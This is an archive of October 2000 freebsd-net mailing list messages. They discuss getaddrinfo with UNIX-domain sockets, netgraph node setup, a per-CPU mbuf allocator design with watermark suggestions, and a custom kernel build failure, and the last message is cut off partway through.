From owner-freebsd-net Sun Oct 29 0:54:25 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 6520437B479 for ; Sun, 29 Oct 2000 00:54:22 -0700 (PDT) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id QAA25906; Sun, 29 Oct 2000 16:54:07 +0900 (JST) To: "Jacques A. Vidrine" Cc: freebsd-net@freebsd.org In-reply-to: n's message of Sat, 28 Oct 2000 16:39:10 EST. <20001028163909.A77420@hamlet.nectar.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: getaddrinfo and the UNIX domain From: itojun@iijlab.net Date: Sun, 29 Oct 2000 16:54:07 +0900 Message-ID: <25904.972806047@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Calling getaddrinfo like the following: > memset(&hints, 0, sizeof(hints)); > hints.ai_flags = AI_PASSIVE; > hints.ai_family = PF_UNSPEC; > hints.ai_socktype = SOCK_STREAM; > getaddrinfo(NULL, "/tmp/some-socket", &hints, &res); >will result in `servname not supported for ai_socktype'. >How should this work? >OpenLDAP 2.x uses getaddrinfo in this fashion. >I note that calling getaddrinfo with ai_family = PF_UNIX also fails. NRL getaddrinfo supports PF_UNIX (= PF_LOCAL) family. as NRL getaddrinfo is in linux distributions, i belive openldap guys are assuming that linux behavior is correct. from standardization standpoint, all documents are silent about which address family are mandatory to be supported. as getaddrinfo is an "address family independent service address/name lookup" function, one can claim that everything has to be supported. however, we have some limit in supports. for example, if we try to support PF_UNIX, it is not very compatible with current definition of getaddrinfo flags (like NI_NUMERICSERV). i don't think we can convert /tmp/some-socket into some numeric. how critical is it for openldap? itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 7:55:36 2000 Delivered-To: freebsd-net@freebsd.org Received: from gw.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 51E2B37B4E5 for ; Sun, 29 Oct 2000 07:55:31 -0800 (PST) Received: by gw.nectar.com (Postfix, from userid 1001) id 5721B193DF; Sun, 29 Oct 2000 09:55:30 -0600 (CST) Date: Sun, 29 Oct 2000 09:55:30 -0600 From: "Jacques A. Vidrine" To: itojun@iijlab.net Cc: freebsd-net@freebsd.org Subject: Re: getaddrinfo and the UNIX domain Message-ID: <20001029095530.A26020@spawn.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , itojun@iijlab.net, freebsd-net@freebsd.org References: <20001028163909.A77420@hamlet.nectar.com> <25904.972806047@coconut.itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <25904.972806047@coconut.itojun.org>; from itojun@iijlab.net on Sun, Oct 29, 2000 at 04:54:07PM +0900 X-Url: http://www.nectar.com/ Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Oct 29, 2000 at 04:54:07PM +0900, itojun@iijlab.net wrote: > NRL getaddrinfo supports PF_UNIX (= PF_LOCAL) family. as NRL > getaddrinfo is in linux distributions, i belive openldap guys are > assuming that linux behavior is correct. > > from standardization standpoint, all documents are silent about which > address family are mandatory to be supported. as getaddrinfo is an > "address family independent service address/name lookup" function, one > can claim that everything has to be supported. however, we have some > limit in supports. for example, if we try to support PF_UNIX, it is > not very compatible with current definition of getaddrinfo flags (like > NI_NUMERICSERV). i don't think we can convert /tmp/some-socket into > some numeric. > > how critical is it for openldap? It is not critical -- it is easily worked around. I do have to admit, however, that having getaddrinfo handle PF_LOCAL sockets in some fashion does make the application code a bit cleaner, in that it eliminates a special case. I think that if getaddrinfo were to support PF_LOCAL, then it could just return errors for flags that make no sense, like NI_NUMERICSERV. Thanks, -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 8: 5:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from gw.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 12A1537B479 for ; Sun, 29 Oct 2000 08:05:30 -0800 (PST) Received: by gw.nectar.com (Postfix, from userid 1001) id 91614193DF; Sun, 29 Oct 2000 10:05:29 -0600 (CST) Date: Sun, 29 Oct 2000 10:05:29 -0600 From: "Jacques A. Vidrine" To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: freebsd-net@FreeBSD.ORG Subject: Re: getaddrinfo and the UNIX domain Message-ID: <20001029100529.B26020@spawn.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , "JINMEI Tatuya / ?$B?@L@C#:H?(B" , freebsd-net@FreeBSD.ORG References: <20001028163909.A77420@hamlet.nectar.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Sun, Oct 29, 2000 at 12:07:35PM +0900 X-Url: http://www.nectar.com/ Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Oct 29, 2000 at 12:07:35PM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > By the way, in my understanding, if getaddrinfo supported PF_UNIX, it > would take the filename as its 1st argument: > > getaddrinfo("/tmp/some-socket", NULL, &hints, &res); In the absence of any standard, I think either way could be argued. For example, as a counter argument, The address parameter specifies a machine or network interface, and in the local domain one there is only one possible machine. Therefore, the address parameter should be NULL, and the service parameter specifies the `port' or `SAP'. -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 8:11:55 2000 Delivered-To: freebsd-net@freebsd.org Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by hub.freebsd.org (Postfix) with ESMTP id 756D537B479 for ; Sun, 29 Oct 2000 08:11:52 -0800 (PST) Received: from localhost ([3ffe:501:100f:13ff::e]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id AAA11702; Mon, 30 Oct 2000 00:57:01 +0900 (JST) Date: Mon, 30 Oct 2000 01:11:26 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: n@nectar.com Cc: freebsd-net@FreeBSD.ORG Subject: Re: getaddrinfo and the UNIX domain In-Reply-To: In your message of "Sun, 29 Oct 2000 10:05:29 -0600" <20001029100529.B26020@spawn.nectar.com> References: <20001028163909.A77420@hamlet.nectar.com> <20001029100529.B26020@spawn.nectar.com> User-Agent: Wanderlust/2.3.0 (Roam) Emacs/20.7 Mule/4.0 (HANANOEN) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 24 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> On Sun, 29 Oct 2000 10:05:29 -0600, >>>>> "Jacques A. Vidrine" said: >> By the way, in my understanding, if getaddrinfo supported PF_UNIX, it >> would take the filename as its 1st argument: >> >> getaddrinfo("/tmp/some-socket", NULL, &hints, &res); > In the absence of any standard, I think either way could be argued. > For example, as a counter argument, > The address parameter specifies a machine or network interface, > and in the local domain one there is only one possible machine. > Therefore, the address parameter should be NULL, and the service > parameter specifies the `port' or `SAP'. I admit you could say that (thus I added "in my understanding" in my previous message). Anyway, the problem is that there's no standard about combination of PF_UNIX and getaddrinfo(), as itojun pointed out. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 11:19:19 2000 Delivered-To: freebsd-net@freebsd.org Received: from gw.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 2C16837B479 for ; Sun, 29 Oct 2000 11:19:17 -0800 (PST) Received: from hamlet.nectar.com (hamlet.nectar.com [10.0.1.102]) by gw.nectar.com (Postfix) with ESMTP id 2F965193DF; Sun, 29 Oct 2000 13:19:16 -0600 (CST) Received: (from nectar@localhost) by hamlet.nectar.com (8.11.1/8.9.3) id e9TJJG569784; Sun, 29 Oct 2000 13:19:16 -0600 (CST) (envelope-from nectar@spawn.nectar.com) Date: Sun, 29 Oct 2000 13:19:16 -0600 From: "Jacques A. Vidrine" To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: freebsd-net@FreeBSD.ORG Subject: Re: getaddrinfo and the UNIX domain Message-ID: <20001029131915.A69752@hamlet.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , "JINMEI Tatuya / ?$B?@L@C#:H?(B" , freebsd-net@FreeBSD.ORG References: <20001028163909.A77420@hamlet.nectar.com> <20001029100529.B26020@spawn.nectar.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Mon, Oct 30, 2000 at 01:11:26AM +0900 X-Url: http://www.nectar.com/ Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Oct 30, 2000 at 01:11:26AM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > I admit you could say that (thus I added "in my understanding" in my > previous message). Anyway, the problem is that there's no standard > about combination of PF_UNIX and getaddrinfo(), as itojun pointed out. Yes, just to be clear, I think we're in agreement here :-) -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 13:16:43 2000 Delivered-To: freebsd-net@freebsd.org Received: from InterJet.dellroad.org (adsl-63-194-81-26.dsl.snfc21.pacbell.net [63.194.81.26]) by hub.freebsd.org (Postfix) with ESMTP id 5E88937B479 for ; Sun, 29 Oct 2000 13:16:41 -0800 (PST) Received: from curve.dellroad.org (curve.dellroad.org [10.1.1.30]) by InterJet.dellroad.org (8.9.1a/8.9.1) with ESMTP id NAA84828; Sun, 29 Oct 2000 13:16:40 -0800 (PST) Received: (from archie@localhost) by curve.dellroad.org (8.11.0/8.11.0) id e9TLGeq40517; Sun, 29 Oct 2000 13:16:40 -0800 (PST) (envelope-from archie) From: Archie Cobbs Message-Id: <200010292116.e9TLGeq40517@curve.dellroad.org> Subject: Re: BPF usage questions In-Reply-To: "from Greg Fausak at Oct 27, 2000 05:23:11 pm" To: Greg Fausak Date: Sun, 29 Oct 2000 13:16:40 -0800 (PST) Cc: julian@elischer.org, net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greg Fausak writes: > I get a compile error when I hit: > > #define NG_ONE2MANY_LINK_STATS_TYPE_INFO { \ > { \ > { "recvOctets", &ng_parse_uint64_type }, \ > { "recvPackets", &ng_parse_uint64_type }, \ > { "xmitOctets", &ng_parse_uint64_type }, \ > { "xmitPackets", &ng_parse_uint64_type }, \ > { NULL } \ > } \ > > > I changed the references to ng_parse_int64_type and it seems to > compile now. The ng_parse_uint64_type is a fairly recent addition; you did the right thing. -Archie __________________________________________________________________________ Archie Cobbs * Packet Design * http://www.packetdesign.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 20:37:59 2000 Delivered-To: freebsd-net@freebsd.org Received: from inter.stack.ru (inter.stack.ru [212.20.57.225]) by hub.freebsd.org (Postfix) with ESMTP id 432F137B479 for ; Sun, 29 Oct 2000 20:37:56 -0800 (PST) Received: from exch.stack.ru (exch.stack.ru [212.20.57.217]) by inter.stack.ru (8.9.3/8.9.3) with ESMTP id LAA17274 for ; Mon, 30 Oct 2000 11:37:53 +0700 (KRS) Received: by exch.stack.ru with Internet Mail Service (5.5.2448.0) id <4LT9BHR0>; Mon, 30 Oct 2000 11:37:53 +0700 Message-ID: <807044A67EA3D211B11D00A024E91A45F2D214@exch.stack.ru> From: "Tolpanov, Dmitry" To: "'freebsd-net@freebsd.org'" Subject: subscribe Date: Mon, 30 Oct 2000 11:37:52 +0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sun Oct 29 20:56:40 2000 Delivered-To: freebsd-net@freebsd.org Received: from InterJet.dellroad.org (adsl-63-194-81-26.dsl.snfc21.pacbell.net [63.194.81.26]) by hub.freebsd.org (Postfix) with ESMTP id CB37B37B479 for ; Sun, 29 Oct 2000 20:56:38 -0800 (PST) Received: from curve.dellroad.org (curve.dellroad.org [10.1.1.30]) by InterJet.dellroad.org (8.9.1a/8.9.1) with ESMTP id UAA87451; Sun, 29 Oct 2000 20:56:38 -0800 (PST) Received: (from archie@localhost) by curve.dellroad.org (8.11.0/8.11.0) id e9U4uc342524; Sun, 29 Oct 2000 20:56:38 -0800 (PST) (envelope-from archie) From: Archie Cobbs Message-Id: <200010300456.e9U4uc342524@curve.dellroad.org> Subject: Re: creation and connection of netgraph nodes In-Reply-To: "from Greg Fausak at Oct 28, 2000 10:16:37 am" To: Greg Fausak Date: Sun, 29 Oct 2000 20:56:38 -0800 (PST) Cc: freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greg Fausak writes: > I seem to be fumbling around with creating and connecting > netrgraph nodes. I've built the one2many node, and am trying to > link it up: > > Can someone post an example of creating a couple of nodes and > then connecting them up. > > I've read the man pages and examples, I just can seem to get the > hang of creating and connecting. Are there more examples anywhere? You might take a look at /usr/share/examples/netgraph/ether.bridge Also the man page included with ng_one2many has an example (guess that wasn't sufficient). Your basic commands are "mkpeer" (create and attach a new peer node to an existing node) and "connect" (connect two existing nodes). Also try "ngctl help mkpeer", etc. And don't forget that absolute addresses require a colon. -Archie __________________________________________________________________________ Archie Cobbs * Packet Design * http://www.packetdesign.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 1:14:28 2000 Delivered-To: freebsd-net@freebsd.org Received: from mit-s.otaru-uc.ac.jp (mitss5.mit-s.otaru-uc.ac.jp [150.83.68.42]) by hub.freebsd.org (Postfix) with ESMTP id 4088437B479 for ; Mon, 30 Oct 2000 01:14:25 -0800 (PST) Received: from mitss5.mit-s.otaru-uc.ac.jp by mit-s.otaru-uc.ac.jp (8.9.3+3.2W/3.7Wmit-special) id SAA07875; Mon, 30 Oct 2000 18:14:22 +0900 (JST) Message-Id: <200010300914.SAA07875@mit-s.otaru-uc.ac.jp> To: freebsd-net@FreeBSD.ORG Subject: ifdefault From: Kazufumi-MIT-Mitani X-Mailer: Mew version 1.06 on Emacs 19.28.1, Mule 2.3 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 30 Oct 2000 18:14:22 +0900 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi. Is there any successful port of Paul Vixie's ifdefault (ftp://ftp.vix.com/pub/vixie/ifdefault/) to FreeBSD? I'm using 3.5 box and wanna use ifdefault facility. This box has 6M, 1.5M and 128K lines. (but no BGP) --- mit@mit-s.otaru-uc.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 10:16:55 2000 Delivered-To: freebsd-net@freebsd.org Received: from falla.videotron.net (falla.videotron.net [205.151.222.106]) by hub.freebsd.org (Postfix) with ESMTP id D95F737B479; Mon, 30 Oct 2000 10:16:47 -0800 (PST) Received: from modemcable213.3-201-24.mtl.mc.videotron.ca ([24.201.3.213]) by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0G3900M7G9F772@falla.videotron.net>; Mon, 30 Oct 2000 13:16:19 -0500 (EST) Date: Mon, 30 Oct 2000 13:20:52 -0500 (EST) From: Bosko Milekic Subject: MP: per-CPU mbuf allocation lists X-Sender: bmilekic@jehovah.technokratis.com To: freebsd-net@freebsd.org Cc: freebsd-arch@freebsd.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [cross-posted to freebsd-arch and freebsd-net, please continue discussion on freebsd-net] Hello, I recently wrote an initial "scratch pad" design for per-CPU mbuf lists (in the MP case). The design consists simply of introducing these "fast" lists for each CPU and populating them with mbufs on bootup. Allocations from these lists would not need to be protected with a mutex as each CPU has its own. The general mmbfree list remains, and remains protected with a mutex, in case the per-CPU list is empty. My initial idea was to leave freeing to the general list, and have a kproc "daemon" periodically populate the "fast" lists. This would have of course involved the addition of a mutex for each "fast" list as well, in order to insure synch with the kproc. However, in the great majority of cases when the kproc would be sleeping, the acquiring of the mutex for the fast list would be very cheap, as waiting for it would never be an issue. Yesterday, Alfred pointed me to the HOARD web page and made several suggestions... all worthy of my attention. The changes I have decided to make to the design will make the system work as follows: - "Fast" list; a per-CPU mbuf list. They contain "w" (for "watermark") number of mbufs, typically... more on this below. - The general (already existing) mmbfree list; mutex protected, global list, in case the fast list is empty for the given CPU. - Allocations; all done from "fast" lists. All are very fast, in the general case. If no mbufs are available, the general mmbfree list's lock is acquired, and an mbuf is made from there. If no mbuf is available, even from the general list, we let go of the lock and allocate a page from mb_map and drop the mbufs onto our fast list, from which we grab the one we need. If mb_map is starved, then: (a) if M_NOWAIT, return ENOBUFS (b) go to sleep, if timeout, return ENOBUFS (c) not timeout, so got a wakeup, the wakeup was accompanied with the acquiring of the mmbfree general list. Since we were sleeping, we are insured that there is an mbuf waiting for us on the general mmbfree list, so we grab it and drop the lock (see the "freeing" section on why we know there's one on mmbfree). - Freeing; First, if someone is sleeping, we grab the mmbfree global list mutex and drop the mbuf there, and then issue a wakeup. If nobody is sleeping, then we proceed as follows: (a) if our fast list does not have over "w" mbufs, put the mbuf on our fast list and then we're done (b) since our fast list already has "w" mbufs, acquire the mmbfree mutex and drop the mbuf there. Things to note: - note that if we're out of mbufs on our fast list, and the general mmbfree list has none available either, and mb_map is starved, even though there may be free mbufs on other CPU's fast lists, we will return ENOBUFS. This behavior will usually be an indication of a wrongly chosen watermark ("w") and we will have to consider how to inform our users on how to properly select a watermark. I already have some ideas for alternate situations/ways of handeling this, but will leave this investigation for later. - "w" is a tunable watermark. No fast list will ever contain more than "w" mbufs. This presents a small problem. Consider a situation where we initially set w = 500; consider we have two CPUs; consider CPU1's fast list eventually gets 450 mbufs, and CPU2's fast list gets 345. Consider then that we decide to set w = 200; Even though all subsequent freeing will be done to the mmbfree list, unless we eventually go under the 200 mark for our free list, we will likely end up sitting with > 200 mbufs on each CPU's fast list. The idea I presently have is to have a kproc "garbage collect" > w mbufs on the CPUs' fast lists and put them back onto the mmbfree general list, if it detects that "w" has been lowered. I'm looking for input. Please feel free to comment with the _specifics_ of the system in mind. Thanks in advance to Alfred who has already generated input. :-) Cheers, Bosko Milekic bmilekic@technokratis.com P.S.: Most of the beneficial effects of this system will get to be seen when the stack is fully threaded. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 10:45: 9 2000 Delivered-To: freebsd-net@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 22B7137B479 for ; Mon, 30 Oct 2000 10:45:05 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9UIivg22095; Mon, 30 Oct 2000 10:44:57 -0800 (PST) Date: Mon, 30 Oct 2000 10:44:57 -0800 From: Alfred Perlstein To: Bosko Milekic Cc: freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists Message-ID: <20001030104457.E22110@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: ; from bmilekic@dsuper.net on Mon, Oct 30, 2000 at 01:20:52PM -0500 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Bosko Milekic [001030 10:16] wrote: > > [cross-posted to freebsd-arch and freebsd-net, please continue > discussion on freebsd-net] > > Hello, > > I recently wrote an initial "scratch pad" design for per-CPU mbuf > lists (in the MP case). The design consists simply of introducing > these "fast" lists for each CPU and populating them with mbufs on bootup. > Allocations from these lists would not need to be protected with a mutex > as each CPU has its own. The general mmbfree list remains, and remains > protected with a mutex, in case the per-CPU list is empty. > My initial idea was to leave freeing to the general list, and have a > kproc "daemon" periodically populate the "fast" lists. This would have of > course involved the addition of a mutex for each "fast" list as well, in > order to insure synch with the kproc. However, in the great majority of > cases when the kproc would be sleeping, the acquiring of the mutex for > the fast list would be very cheap, as waiting for it would never be an > issue. > Yesterday, Alfred pointed me to the HOARD web page and made several > suggestions... all worthy of my attention. > The changes I have decided to make to the design will make the system > work as follows: > > - "Fast" list; a per-CPU mbuf list. They contain "w" (for "watermark") > number of mbufs, typically... more on this below. > > - The general (already existing) mmbfree list; mutex protected, global > list, in case the fast list is empty for the given CPU. > > - Allocations; all done from "fast" lists. All are very fast, in the > general case. If no mbufs are available, the general mmbfree list's > lock is acquired, and an mbuf is made from there. If no mbuf is > available, even from the general list, we let go of the lock and > allocate a page from mb_map and drop the mbufs onto our fast list, from > which we grab the one we need. If mb_map is starved, then: > (a) if M_NOWAIT, return ENOBUFS > (b) go to sleep, if timeout, return ENOBUFS > (c) not timeout, so got a wakeup, the wakeup was accompanied with the > acquiring of the mmbfree general list. Since we were sleeping, we are > insured that there is an mbuf waiting for us on the general mmbfree > list, so we grab it and drop the lock (see the "freeing" section on > why we know there's one on mmbfree). > > - Freeing; First, if someone is sleeping, we grab the mmbfree global > list mutex and drop the mbuf there, and then issue a wakeup. If nobody > is sleeping, then we proceed as follows: I like this idea here, you could do that as a general way of noting that there's a shortage and free to the global pool even if you're below the low watermark that I discuss below... > (a) if our fast list does not have over "w" mbufs, put the mbuf on > our fast list and then we're done > (b) since our fast list already has "w" mbufs, acquire the mmbfree > mutex and drop the mbuf there. You want to free in chunks, see below for suggestions. > Things to note: > > - note that if we're out of mbufs on our fast list, and the general > mmbfree list has none available either, and mb_map is starved, even > though there may be free mbufs on other CPU's fast lists, we will > return ENOBUFS. This behavior will usually be an indication of a > wrongly chosen watermark ("w") and we will have to consider how to > inform our users on how to properly select a watermark. I already > have some ideas for alternate situations/ways of handeling this, but > will leave this investigation for later. > > - "w" is a tunable watermark. No fast list will ever contain more than > "w" mbufs. This presents a small problem. Consider a situation where > we initially set w = 500; consider we have two CPUs; consider CPU1's > fast list eventually gets 450 mbufs, and CPU2's fast list gets 345. > Consider then that we decide to set w = 200; Even though all > subsequent freeing will be done to the mmbfree list, unless we > eventually go under the 200 mark for our free list, we will likely > end up sitting with > 200 mbufs on each CPU's fast list. The idea I > presently have is to have a kproc "garbage collect" > w mbufs on the > CPUs' fast lists and put them back onto the mmbfree general list, if > it detects that "w" has been lowered. > > I'm looking for input. Please feel free to comment with the _specifics_ > of the system in mind. > > Thanks in advance to Alfred who has already generated input. :-) Oops, I think I wasn't clear enough, the idea is to have a low AND a high watermark, let's consider you have hw (high water) at 500 and lw (low water at 250). The point being that: 1) if you are freeing mbufs and hit the highwater mark on your frastlist you free into the general pool (hw - lw) mbufs from your fastlist 2) if you are allocating mbufs and have 0 on your fastlist you aquire (lw) mbufs from the general pool into your fast list. this should avoid a ping pong affect and at the same time allow the last problem you spoke about to be addressed better. More tricks that can be done: Since you only free from low water to high water you can do this to avoid a linked list traversal for counting, keep all mbufs below your low watermark on a seperate fastlist along with a count, when you free mbufs past your lowwater stick them on a seperate list, and maintain a count, when the count on that list becomes greater than hw-lw then you can just dump it into the global list with just a pointer swap and a bumping the count in the global freelist. You can also keep the mbufs in the global list in a special way so that you can do chunk allocations from it by simply using the m_nextpkt flag on the mbuf to point to the next "chunk" of mbufs that are hung off of m_next, you can hijack a byte out of the m_data to keep the count. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 10:51: 2 2000 Delivered-To: freebsd-net@freebsd.org Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15]) by hub.freebsd.org (Postfix) with ESMTP id 16E3037B479; Mon, 30 Oct 2000 10:50:53 -0800 (PST) Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch2.nortel.com; Mon, 30 Oct 2000 12:45:20 -0600 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 30 Oct 2000 12:49:24 -0600 Message-ID: From: "Hao Zhang" To: "'freebsd-net@freebsd.org'" , "'hackers@freebsd.org'" Subject: Building a custom kernel in 4.1 Date: Mon, 30 Oct 2000 12:49:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C042A2.1F5A2330" X-Orig: Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C042A2.1F5A2330 Content-Type: text/plain; charset="windows-1252" > Hello, > I am familiar with the procedure of building a custom kernel under > FreeBSD3.3 but having a lot of difficulty when trying to follow the > procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a > custom kernel under FreeBSD4.1(the documentation is a little confusing)? > > I am trying to build a custom kernel with a label module (from NIST) and the > build fails while trying to link with some of the function pointers of that > module. Below are the errors I get: > > **************************************************************************** > ************************************************* > > c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmiss > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -an > si -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL -i > nclude opt_global.h -elf -mpreferred-stack-boundary=2 config.c > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmis > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -a > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL - > include opt_global.h -elf -mpreferred-stack-boundary=2 setdef1.c > touch hack.c > cc -elf -shared -nostdlib hack.c -o hack.So > rm -f hack.c > sh /usr/src/sys/conf/newvers.sh MPLS > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmis > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -a > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL - > include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c > linking MPLS > if_ethersubr.o: In function `ether_demux': > if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr' > if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr' > if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr' > rtsock.o: In function `route_output': > rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr' > rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr' > rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr' > rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr' > rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr' > rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr' > *** Error code 1 > > Stop in /usr/obj/usr/src/sys/MPLS. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > **************************************************************************** > ************************************************* > > > Any quick help would be really appreciated. > > Syed Kamran Raza > Nortel Networks > > > > ------_=_NextPart_001_01C042A2.1F5A2330 Content-Type: text/html; charset="windows-1252" Building a custom kernel in 4.1

> Hello,
> I am familiar with the procedure of building a custom kernel under
> FreeBSD3.3 but having a lot of difficulty when trying to follow the
> procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a
> custom kernel under FreeBSD4.1(the documentation is a little confusing)?
>
> I am trying to build a custom kernel with a label module (from NIST) and the
> build fails while trying to link with some of the function pointers of that
> module. Below are the errors I get:
>
> ****************************************************************************
> *************************************************
>
